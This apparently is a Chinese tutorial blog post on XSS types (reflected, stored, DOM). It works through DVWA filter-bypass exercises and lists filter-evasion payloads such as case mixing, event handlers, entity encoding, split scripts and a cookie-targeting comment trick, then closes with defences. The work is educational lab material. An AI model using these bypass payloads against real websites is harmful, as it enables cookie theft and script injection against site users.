美文网首页
XSS简述&入门

XSS简述&入门

作者: ylylhl | 来源:发表于2019-03-15 17:58 被阅读0次

    上课上自闭了,我真的不是web手也打不来web题……
    写个总结,算是补上一年前跟大佬py到的那两道web的wp。
    ……我怎么总在搞给过去的自己打补丁这种沙雕行为(。
    建议结合2019-03-17 XSS实验报告观看。

    XSS类型

    反射型XSS

    反射型XSS只是简单的把用户输入的数据“反射”给浏览器,也称为非持久型XSS(Non-persistent XSS),特点为单击时触发,执行一次。

    应用

    通常出现在网站的搜索栏、用户登入口等地方。

    <script>alert(1)</script>
    
    过滤字符的应对

    此处以DVWA为例。
    在Medium级别中,关键代码如下所示:

    可以看到只过滤了<script>字符串,常用方法有更改大小写或双写以拼接script等,其他绕过方法详见文章“常见XSS变形”一节。

    <Script>alert(1)</sCript>
    
    <sc<script>ript>alert(222)</script>
    

    在High级别中,关键代码如下所示:

    关于上图代码中的正则表达式的说明如下,正则的更多语法和说明请参考文末链接。

    代码 说明
    . 匹配除换行符以外的任意字符
    * 重复零次或更多次

    我们已经提到了怎么重复单个字符(直接在字符后面加上限定符就行了);但如果想要重复多个字符又该怎么办?你可以用小括号来指定子表达式(也叫做分组),然后你就可以指定这个子表达式的重复次数了,你也可以对子表达式进行其它一些操作(后面会有介绍)。

    可以看到对<script做了正则搜索(.*)和大小写过滤/i,双写和大小写混淆不再有效,但没有做更多限制。因此可以选择放弃使用<script>标签,转而利用事件实现XSS。

    <img src="" onerror="alert(1)"/>
    
    <iframe onload=alert(1) style="display:none"></iframe>
    

    存储型XSS

    存储型XSS会把用户输入的数据“存储”在服务器端,又称为“持久型XSS”。
    攻击者事先将恶意js代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意js代码的页面就会执行恶意代码,不需单击即可触发。

    应用

    多见于网页留言板、评论等,常见应对方法包括在前端或后台限制输入长度、或做敏感字符过滤等。

    限制长度的应对

    前端限制长度只需f12开控制台更改代码即可,也可采用抓包更改传输数据。

    后台数据库限制长度可采用注释绕过或拼接绕过,其中“利用注释绕过”这一方法现举例如下。
    此处先提交*/cookie</script>是由于后台的留言按时间倒序显示,因此会拼接为<script>alert(doucument./*被注释的代码*/cookie)</script>

    过滤字符的应对

    此处以DVWA为例。
    在Medium级别中,关键代码如下所示:


    可以看到虽然对$message变量做了htmlspecialchars()转换,但对$name的过滤却只过滤了<script>字符串,因此只要从$name着手即可。
    此处举两个例子,其他绕过方法详见文章“常见XSS变形”一节。
    <Script>alert(1)</sCript>
    
    <sc<script>ript>alert(222)</script>
    

    在High级别中,关键代码如下所示:

    可以看到和反射型XSS的High级别相似,虽然过滤了<script标签,但没有做更多过滤,可以创建事件以进行XSS攻击。

    更多过滤和绕过方法可以参考去年杭电week2的web题wp:
    https://github.com/vidar-team/Hgame2018_writeup/blob/master/week2/official_wp/week2_web_wp.pdf

    DOM型XSS

    DOM型XSS是一种基于DOM树的XSS,通过修改页面的DOM(Document Object Model,文档对象模型)节点形成XSS。
    例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。如果按照“是否保存在服务器端”来划分,DOM型XSS也是反射型XSS。

    应用

    可能触发DOM型XSS的属性:

    document.referer 属性
    window.name 属性
    location 属性
    innerHTML 属性
    documen.write 属性
    ……
    

    此处仍以DVWA为例。
    在Medium级别中,代码如下

    <?php 
    // Is there any input? 
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { 
        $default = $_GET['default']; 
        # Do not allow script tags 
        if (stripos ($default, "<script") !== false) { 
            header ("location: ?default=English"); 
            exit; 
        } 
    } 
    ?>  
    

    可以看出过滤了<script,因此可以选择利用事件,构建语句:<img src='x' onerror='alert(1)'>,但输入后无事发生(。查看源代码:

    可以发现语句被插入到了value值中。为此,需要闭合前面的标签,即<select><option。构建exp如下:

    /?default=English></option></select><img src='x' onerror='alert(1)'>
    

    此时拼接如下图:

    在High级别中,代码如下

    <?php 
    // Is there any input? 
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { 
        # White list the allowable languages 
        switch ($_GET['default']) { 
            case "French": 
            case "English": 
            case "German": 
            case "Spanish": 
                # ok 
                break; 
            default: 
                header ("location: ?default=English"); 
                exit; 
        } 
    } 
    ?> 
    

    url中字符#后的数据不会发送到服务器端,从而绕过服务端过滤。构造exp为:

    /?default=English#<script>alert(1)</script>
    

    常见XSS变形

    根据过滤代码的写法采取不同的变形以绕过过滤,常见的有以下几种。

    1. 扰乱过滤规则

    大小写转换
    <script>alert(1)</script>
    <Script>alert(1)</sCript>
    
    引号的引用
    @ 无引号
    <Img sRc=# Onerror=alert(/xss/) />
    @ 单引号
    <Img sRc='#' Onerror='alert(/xss/)' />
    @ 双引号
    <Img sRc="#" Onerror="alert(/xss/)" />
    

    表格引用自 XSS绕过 - N1nG - CSDN

    类型 写法
    一个正常的XSS输入 <img src="javascript:alert(0);">
    转换大小写后的XSS <IMG SRC="javascript:alert(0);">
    大小写混淆的XSS <iMg sRc="jaVasCript:alert(0);">
    不用双引号,而是使用单引号的XSS <img src='javascript:alert(0);'>
    不使用引号的XSS <img src=javascript:alert(0);>

    关于引号的作用,请阅读XSS 攻击时怎么绕过 htmlspecialchars 函数呢? - 梧桐雨的回答 - 知乎及文末拓展阅读。

    2. 利用 / 代替空格

    <Img/sRc='#'/Onerror='alert(/xss/)' />
    

    3. CSS中变形

    @ 使用全角字符
    <style>body{background-image:expression(alert(/xss/));}</style>    
    @ 注释会被浏览器忽略
    <style>
    body{background-image:expre/***/ssion(alert(/xss/))}
    </style>    
    @ 样式表中的\ 和\0 同样会被浏览器忽略
    <style>@import 'javasc\ri\0pt:alert("xss")';</style>
    

    4. 利用空格、Tab或回车

    @ 利用Tab
    <A hREf="j  avascript:alert(/xss/)">click me!</a>
    @ 利用回车
    <img src="javas
    cript:
    alert(/xss/)" width=100>
    

    5. 对标签属性值进行转码

    @ 将字符转为十进制或十六进制,例如
    a    97     &#97;     &#x61;   
    e    101    &#101;    &#x65;
    <A hREf="j    &#97;v&#x61;script:alert(/xss/)">click me!</a>
    

    6. 拆分跨站

    @ 拼接
    <script>z='alert'</script>
    <script>z=z+'(/xss/)'</script>
    <script>eval(z)</script>
    @ 注释
    <script>alert(doucument./*
    */cookie</script>
    

    常见应对XSS方法

    • 输入输出检查并对敏感字符编码,如<转成&lt;

      • 在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<script>JavaScript<>。常使用preg_replace()函数,如preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
      • 在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。如php可以使用htmlentities()函数及htmlspecialchars()函数;JavascriptEncode使用escapeJavascript()函数来转义、<>\&#等,同时要求输出变量必须在引号内部。在Java中也存在第三方组件支持过滤XSS漏洞,如JSOUP、OWASP Esapi、xssprotext等。
    • 黑名单,白名单

      • 对于富文本的过滤,需要考虑输入过滤,严格禁止“事件”。同时禁止一些威胁的标签:<iframe><base><script><form>等。
      • 在标签的选择上,应该使用白名单,如只允许<a><img><div>等比较安全的标签

    参考资料&拓展阅读





    相关文章

      网友评论

          本文标题:XSS简述&入门

          本文链接:https://www.haomeiwen.com/subject/ulqzpqtx.html